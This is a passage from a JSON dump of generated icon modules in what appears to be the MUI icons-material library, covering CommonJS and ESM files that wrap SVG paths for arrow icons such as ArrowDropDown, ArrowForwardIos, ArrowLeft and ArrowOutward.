    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8m0 11-4-4h8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m0-5 4-4H8z\"\n}, \"1\")], 'ArrowDropDownCircleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowDropDownOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m7 10 5 5 5-5z\"\n}), 'ArrowDropDownOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowDropDownOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m7 10 5 5 5-5z\"\n}), 'ArrowDropDownOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowDropDownRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m8.71 11.71 2.59 2.59c.39.39 1.02.39 1.41 0l2.59-2.59c.63-.63.18-1.71-.71-1.71H9.41c-.89 0-1.33 1.08-.7 1.71\"\n}), 'ArrowDropDownRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowDropDownRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m8.71 11.71 2.59 2.59c.39.39 1.02.39 1.41 0l2.59-2.59c.63-.63.18-1.71-.71-1.71H9.41c-.89 0-1.33 1.08-.7 1.71\"\n}), 'ArrowDropDownRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowDropDownSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m7 10 5 5 5-5z\"\n}), 'ArrowDropDownSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowDropDownSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m7 10 5 5 5-5z\"\n}), 'ArrowDropDownSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowDropDownTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m7 10 5 5 5-5z\"\n}), 'ArrowDropDownTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowDropDownTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m7 10 5 5 5-5z\"\n}), 'ArrowDropDownTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowDropUp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m7 14 5-5 5 5z\"\n}), 'ArrowDropUp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowDropUp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m7 14 5-5 5 5z\"\n}), 'ArrowDropUp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowDropUpOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m7 14 5-5 5 5z\"\n}), 'ArrowDropUpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowDropUpOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m7 14 5-5 5 5z\"\n}), 'ArrowDropUpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowDropUpRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.71 12.29 11.3 9.7c.39-.39 1.02-.39 1.41 0l2.59 2.59c.63.63.18 1.71-.71 1.71H9.41c-.89 0-1.33-1.08-.7-1.71\"\n}), 'ArrowDropUpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowDropUpRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.71 12.29 11.3 9.7c.39-.39 1.02-.39 1.41 0l2.59 2.59c.63.63.18 1.71-.71 1.71H9.41c-.89 0-1.33-1.08-.7-1.71\"\n}), 'ArrowDropUpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowDropUpSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m7 14 5-5 5 5z\"\n}), 'ArrowDropUpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowDropUpSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m7 14 5-5 5 5z\"\n}), 'ArrowDropUpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowDropUpTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m7 14 5-5 5 5z\"\n}), 'ArrowDropUpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowDropUpTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m7 14 5-5 5 5z\"\n}), 'ArrowDropUpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowForward.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 4-1.41 1.41L16.17 11H4v2h12.17l-5.58 5.59L12 20l8-8z\"\n}), 'ArrowForward');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowForward.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 4-1.41 1.41L16.17 11H4v2h12.17l-5.58 5.59L12 20l8-8z\"\n}), 'ArrowForward');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowForwardIos.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.23 20.23 8 22l10-10L8 2 6.23 3.77 14.46 12z\"\n}), 'ArrowForwardIos');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowForwardIos.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.23 20.23 8 22l10-10L8 2 6.23 3.77 14.46 12z\"\n}), 'ArrowForwardIos');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowForwardIosOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.23 20.23 8 22l10-10L8 2 6.23 3.77 14.46 12z\"\n}), 'ArrowForwardIosOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowForwardIosOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.23 20.23 8 22l10-10L8 2 6.23 3.77 14.46 12z\"\n}), 'ArrowForwardIosOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowForwardIosRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.38 21.01c.49.49 1.28.49 1.77 0l8.31-8.31c.39-.39.39-1.02 0-1.41L9.15 2.98c-.49-.49-1.28-.49-1.77 0s-.49 1.28 0 1.77L14.62 12l-7.25 7.25c-.48.48-.48 1.28.01 1.76\"\n}), 'ArrowForwardIosRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowForwardIosRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.38 21.01c.49.49 1.28.49 1.77 0l8.31-8.31c.39-.39.39-1.02 0-1.41L9.15 2.98c-.49-.49-1.28-.49-1.77 0s-.49 1.28 0 1.77L14.62 12l-7.25 7.25c-.48.48-.48 1.28.01 1.76\"\n}), 'ArrowForwardIosRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowForwardIosSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.23 20.23 8 22l10-10L8 2 6.23 3.77 14.46 12z\"\n}), 'ArrowForwardIosSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowForwardIosSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.23 20.23 8 22l10-10L8 2 6.23 3.77 14.46 12z\"\n}), 'ArrowForwardIosSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowForwardIosTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.23 20.23 8 22l10-10L8 2 6.23 3.77 14.46 12z\"\n}), 'ArrowForwardIosTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowForwardIosTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.23 20.23 8 22l10-10L8 2 6.23 3.77 14.46 12z\"\n}), 'ArrowForwardIosTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowForwardOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 4-1.41 1.41L16.17 11H4v2h12.17l-5.58 5.59L12 20l8-8z\"\n}), 'ArrowForwardOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowForwardOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 4-1.41 1.41L16.17 11H4v2h12.17l-5.58 5.59L12 20l8-8z\"\n}), 'ArrowForwardOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowForwardRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 13h11.17l-4.88 4.88c-.39.39-.39 1.03 0 1.42s1.02.39 1.41 0l6.59-6.59c.39-.39.39-1.02 0-1.41l-6.58-6.6a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41L16.17 11H5c-.55 0-1 .45-1 1s.45 1 1 1\"\n}), 'ArrowForwardRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowForwardRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 13h11.17l-4.88 4.88c-.39.39-.39 1.03 0 1.42s1.02.39 1.41 0l6.59-6.59c.39-.39.39-1.02 0-1.41l-6.58-6.6a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41L16.17 11H5c-.55 0-1 .45-1 1s.45 1 1 1\"\n}), 'ArrowForwardRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowForwardSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 4-1.41 1.41L16.17 11H4v2h12.17l-5.58 5.59L12 20l8-8z\"\n}), 'ArrowForwardSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowForwardSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 4-1.41 1.41L16.17 11H4v2h12.17l-5.58 5.59L12 20l8-8z\"\n}), 'ArrowForwardSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowForwardTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 4-1.41 1.41L16.17 11H4v2h12.17l-5.58 5.59L12 20l8-8z\"\n}), 'ArrowForwardTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowForwardTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 4-1.41 1.41L16.17 11H4v2h12.17l-5.58 5.59L12 20l8-8z\"\n}), 'ArrowForwardTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowLeft.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14 7-5 5 5 5z\"\n}), 'ArrowLeft');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowLeft.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14 7-5 5 5 5z\"\n}), 'ArrowLeft');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowLeftOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14 7-5 5 5 5z\"\n}), 'ArrowLeftOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowLeftOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14 7-5 5 5 5z\"\n}), 'ArrowLeftOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowLeftRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.29 8.71 9.7 11.3c-.39.39-.39 1.02 0 1.41l2.59 2.59c.63.63 1.71.18 1.71-.71V9.41c0-.89-1.08-1.33-1.71-.7\"\n}), 'ArrowLeftRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowLeftRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.29 8.71 9.7 11.3c-.39.39-.39 1.02 0 1.41l2.59 2.59c.63.63 1.71.18 1.71-.71V9.41c0-.89-1.08-1.33-1.71-.7\"\n}), 'ArrowLeftRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowLeftSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14 7-5 5 5 5z\"\n}), 'ArrowLeftSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowLeftSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14 7-5 5 5 5z\"\n}), 'ArrowLeftSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowLeftTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14 7-5 5 5 5z\"\n}), 'ArrowLeftTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowLeftTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14 7-5 5 5 5z\"\n}), 'ArrowLeftTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowOutward.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 6v2h8.59L5 17.59 6.41 19 16 9.41V18h2V6z\"\n}), 'ArrowOutward');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowOutward.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 6v2h8.59L5 17.59 6.41 19 16 9.41V18h2V6z\"\n}), 'ArrowOutward');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowOutwardOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 6v2h8.59L5 17.59 6.41 19 16 9.41V18h2V6z\"\n}), 'ArrowOutwardOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowOutwardOutlined.mjs",
